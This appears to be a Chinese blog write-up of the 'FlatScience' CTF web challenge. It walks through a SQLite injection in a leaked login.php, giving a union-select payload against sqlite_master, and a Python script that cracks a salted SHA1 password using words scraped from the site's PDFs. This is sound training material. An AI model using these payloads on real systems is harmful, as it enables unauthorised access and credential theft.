【网络安全 | CTF】FlatScience

简介: 【网络安全 | CTF】FlatScience

该题考察SQL注入

正文

后台扫到robots.txt

页面内容如下:

进入login.php

页面源代码如图:

传参debug得到php代码:

<?php
if(isset($_POST['usr']) && isset($_POST['pw'])){
        $user = $_POST['usr'];
        $pass = $_POST['pw'];
        $db = new SQLite3('../fancy.db');
        $res = $db->query("SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'");
    if($res){
        $row = $res->fetchArray();
    }
    else{
        echo "<br>Some Error occourred!";
    }
    if(isset($row['id'])){
            setcookie('name',' '.$row['name'], time() + 60, '/');
            header("Location: /");
            die();
    }
}
if(isset($_GET['debug']))
highlight_file('login.php');
?>

pass变量拼接Salz并且经过sha1加密后与password进行比较

所以思路是SQL注入把pass找出来,注意这里的数据库是SQLite数据库

先判断注入点个数:

所以注入点个数为2

接着查表名:

' union select 1,name from sqlite_master where type='table'--+

接着查SQL查询语句:

CREATE+TABLE+Users%28id+int+primary+key%2Cname+varchar%28255%29%2Cpassword+varchar%28255%29%2Chint+varchar%28255%29%29

格式化:

接着利用 limit 进行移位查询

结果如下:

推测favword在之前的英文页面中,于是使用kali把页面都下载下来

wget ip -r -np -nd -A .pdf

接着写脚本,将每个词都与Salz拼接进行加密,看是否匹配3fab54a50e770d830c0416df817567662a9dc85c

from cStringIO import StringIO
from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter
from pdfminer.converter import TextConverter
from pdfminer.layout import LAParams
from pdfminer.pdfpage import PDFPage
import sys
import string
import os
import hashlib
def get_pdf():
  return [i for i in os.listdir("./") if i.endswith("pdf")]
def convert_pdf_2_text(path):
    rsrcmgr = PDFResourceManager()
    retstr = StringIO()
    device = TextConverter(rsrcmgr, retstr, codec='utf-8', laparams=LAParams())
    interpreter = PDFPageInterpreter(rsrcmgr, device)
    with open(path, 'rb') as fp:
        for page in PDFPage.get_pages(fp, set()):
            interpreter.process_page(page)
        text = retstr.getvalue()
    device.close()
    retstr.close()
    return text
def find_password():
  pdf_path = get_pdf()
  for i in pdf_path:
    print "Searching word in " + i
    pdf_text = convert_pdf_2_text(i).split(" ")
    for word in pdf_text:
      sha1_password = hashlib.sha1(word+"Salz!").hexdigest()
      if sha1_password == '3fab54a50e770d830c0416df817567662a9dc85c':
        print "Find the password :" + word
        exit()
if __name__ == "__main__":
  find_password()

得到favword为ThinJerboa,即pass为ThinJerboa

在admin.php传参即可:

得到flag:

目录
相关文章
|
10月前
|
网络安全 数据安全/隐私保护 Python
[网络安全/CTF]护网杯 2018 easy_tornado 解题详析(Tornado之SSTI注入)
[网络安全/CTF]护网杯 2018 easy_tornado 解题详析(Tornado之SSTI注入)
162 0
|
9月前
|
存储 网络协议 数据建模
程序与技术分享:2021年第一届“东软杯”网络安全CTF竞赛
程序与技术分享:2021年第一届“东软杯”网络安全CTF竞赛
|
9月前
|
安全 网络安全 数据安全/隐私保护
CTF竞赛:一场网络安全技术的盛宴
CTF竞赛:一场网络安全技术的盛宴
297 0
|
10月前
|
JSON 算法 网络安全
【网络安全/CTF】easyphp 江苏工匠杯
【网络安全/CTF】easyphp 江苏工匠杯
150 0
【网络安全/CTF】easyphp 江苏工匠杯
|
10月前
|
存储 Linux 网络安全
【网络安全/CTF】unseping 江苏工匠杯
【网络安全/CTF】unseping 江苏工匠杯
125 0
【网络安全/CTF】unseping 江苏工匠杯
|
10月前
|
网络安全 PHP 数据安全/隐私保护
[网络安全/CTF] 记一次PHP序列化反序列化解题详析
[网络安全/CTF] 记一次PHP序列化反序列化解题详析
126 5
|
10月前
|
网络安全
【网络安全 | CTF】pure_color
【网络安全 | CTF】pure_color
65 0
|
10月前
|
网络安全 Windows
【网络安全 | CTF】心仪的公司 世安杯
【网络安全 | CTF】心仪的公司 世安杯
104 0
|
10月前
|
安全 网络安全
【网络安全/CTF】catcat-new
【网络安全/CTF】catcat-new
175 0
|
3月前
|
SQL 安全 网络安全
网络安全与信息安全:知识分享####
【10月更文挑战第21天】 随着数字化时代的快速发展,网络安全和信息安全已成为个人和企业不可忽视的关键问题。本文将探讨网络安全漏洞、加密技术以及安全意识的重要性,并提供一些实用的建议,帮助读者提高自身的网络安全防护能力。 ####
95 17

热门文章

最新文章